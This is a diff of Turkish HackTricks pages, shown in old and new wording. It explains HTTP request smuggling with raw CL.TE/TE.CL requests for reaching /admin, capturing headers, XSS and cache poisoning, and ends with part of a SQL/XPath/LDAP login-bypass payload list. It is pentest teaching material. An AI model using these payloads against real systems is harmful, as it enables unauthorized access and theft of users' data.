Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacak, bu nedenle isteğin **gövdesi** bir sonraki HTTP isteği olarak işlenecektir.
Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacak, bu nedenle isteğin **gövdesi** **bir sonraki HTTP isteği** olarak işlenecektir.
#### Hop-by-hop başlıkları ile zorlamak
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP request smuggling'in kötüye kullanılmasını sağlayabilirsiniz**.
Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir, böylece HTTP request smuggling kötüye kullanılabilir**.
```
Connection: Content-Length
```
@ -262,7 +270,7 @@ X
### Açıkları Bulmak için Diğer Yöntemler
* **Farklı Yanıt Analizi:**
* Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterir.
* Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterebilir.
* **Otomatik Araçlar Kullanma:**
* Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
* **Content-Length Varyans Testleri:**
@ -270,9 +278,9 @@ X
* **Transfer-Encoding Varyans Testleri:**
* Obfuscate edilmiş veya hatalı `Transfer-Encoding` başlıkları ile istekler gönderin ve ön uç ve arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
### HTTP İsteği Kaçırma Açığı Testi
### HTTP İsteği Kaçırma Açıklığı Testi
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteği göndererek 404 yanıtı almak. Daha önce [Temel Örnekler](./#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen, istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteği ile 404 yanıtı almak. Daha önce [Temel Örnekler](./#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen, istemci isteğini zehirleyerek 404 yanıtı almanın nasıl yapılacağını göstermektedir.
**Anahtar Dikkat Noktaları**
@ -281,16 +289,16 @@ Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken,
* **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.
* **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.
* **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
* **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlerde sonuçlanırsa, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.
* **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucuları, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlerde sonuçlanırsa, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.
* **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteği değil) istemeden etkiliyorsa, bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.
## HTTP İsteği Kaçırmayı Kötüye Kullanma
## HTTP İsteği Kaçırma Kötüye Kullanımı
### HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir ık bırakır.
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir boşluk bırakır.
Aşağıdaki örnekler, HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini, özellikle ön uç proxy tarafından genellikle korunan `/admin` yolunu hedef alarak göstermektedir:
HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
**CL.TE Örneği**
```
@ -309,7 +317,7 @@ Content-Length: 10
x=
```
CL.TE saldırısında, başlangıç isteği için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, başlangıç `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
CL.TE saldırısında, `Content-Length` başlığı ilk istek için kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
**TE.CL Örneği**
```
@ -333,7 +341,7 @@ Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü **korumaları aşmanın** veya **gizli bilgileri veya uç noktalarıığa çıkarmanın** yollarını ortaya çıkarabilir.
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -350,13 +358,13 @@ Content-Length: 100
search=
```
Bu yapıda, sonraki istek bileşenleri `search=` ifadesinden sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarınıığa çıkaracaktır.
Bu yapıda, sonraki istek bileşenleri `search=` sonrasında eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarınıığa çıkaracaktır.
İç içe isteğin `Content-Length` başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
Bu teknik, bir TE.CL ığı bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
Bu teknik, bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sona ermelidir. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için kullanılır ve temelde kendi kendine yönlendirilmiş bir araştırma yapar.
Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için hizmet eder ve temelde kendi kendine yönlendirilmiş bir araştırma gerçekleştirir.
### Diğer kullanıcıların isteklerini yakalamak <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -418,11 +426,11 @@ A=
```
Bu yük, açığı istismar etmek için şu şekilde yapılandırılmıştır:
1. Smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile, görünüşte tipik bir `POST` isteği başlatmak.
2. Chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Ardından, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen bir smuggled `GET` isteği tanıtmak; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
1. Görünüşte tipik bir `POST` isteği başlatmak, smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile.
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Sonra, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen smuggled bir `GET` isteği tanıtılır; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
`User-Agent`'ı smuggling ile manipüle ederek, yük normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.
`User-Agent`'ı smuggling ile manipüle ederek, yük normal istek kısıtlamalarını aşar ve böylece Yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.
#### HTTP/0.9
@ -432,9 +440,9 @@ Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldı
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiillerini kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek bir açık uç noktası** ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ve **kullanıcının girişi ile yanıt verecek bir açık uç noktası** ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
### HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### HTTP İstek Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
```
@ -446,7 +454,7 @@ Sonuçlar:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Görünüşte zararsız olan bu davranış, kullanıcıları harici bir siteye yönlendirmek için HTTP request smuggling kullanılarak manipüle edilebilir. Örneğin:
Her ne kadar zararsız görünse de, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -480,7 +488,7 @@ Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** dur
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** varsa özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
```
@ -500,18 +508,18 @@ Content-Length: 10
x=1
```
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek var. Bu istek, **Host başlık değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host başlığını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Not edin ki `/post/next?postId=3` hedefleyen gömülü istek var. Bu istek, **Host başlık değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host başlığını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Başarılı **socket zehirlenmesi** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
Sonrasında, `/static/include.js` için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısı başlatacaktır.
Sonrasında, `/static/include.js` için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.
### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
> * **Web önbellek aldatması**'nda, saldırgan uygulamanın önbellekte başka bir kullanıcıya ait bazı hassas içerikleri saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
> * **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
> * **Web önbellek aldatması**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
```markdown
@ -526,15 +534,15 @@ Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış
```
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), mağdurun `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
### HTTP Request Smuggling ile TRACE İstismar Etme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP İstek Kaçakçılığı ile TRACE Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) eğer sunucuda TRACE yöntemi etkinse, bunun HTTP Request Smuggling ile istismar edilebileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) eğer sunucuda TRACE yöntemi etkinse, bunun HTTP İstek Kaçakçılığı ile kötüye kullanılabileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Gönderecek bir yanıt şöyle olacak:
Yanıt gönderecektir:
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -546,14 +554,14 @@ XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu istek **gönderilen verileri yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak kabul edilecek ve bu nedenle yanıt içinde rastgele verileri yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek, dolayısıyla yanıt içinde rastgele verileri yansıtacaktır**.\
Bu yanıt, bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
### HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının Content-Length'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtındaki verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).
Örnek:
```
@ -597,7 +605,7 @@ Content-Length: 50
```
### HTTP İstek Kaçırmayı HTTP Yanıt Senkronizasyonu ile Silahlandırma
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsanız, bu diğer istismar yöntemlerini deneyin:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -725,16 +733,24 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hackerın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -7,16 +7,24 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Bu liste **XPath, LDAP ve SQL enjeksiyonu ile girişin atlanması için yükleri** içermektedir (bu sırayla).
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
Bu listeyi kullanmanın yolu, **ilk 200 satırı kullanıcı adı ve şifre olarak koymaktır.** Ardından, tam listeyi önce kullanıcı adı alanına, sonra şifre alanına koyarken bazı şifreler (örneğin _Pass1234._) veya bazı bilinen kullanıcı adları (örneğin _admin_) koymaktır.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Bu liste, **XPath, LDAP ve SQL enjeksiyonu aracılığıyla girişin atlanması için yükleri** içermektedir (bu sırayla).
Bu listeyi kullanmanın yolu, **ilk 200 satırı kullanıcı adı ve şifre olarak koymaktır.** Ardından, tam listeyi önce kullanıcı adı alanına, sonra şifre alanına koyarken bazı şifreler (örneğin _Pass1234._) veya bazı bilinen kullanıcı adları (örneğin _admin_) koyun.
```
admin
password
@ -823,16 +831,25 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
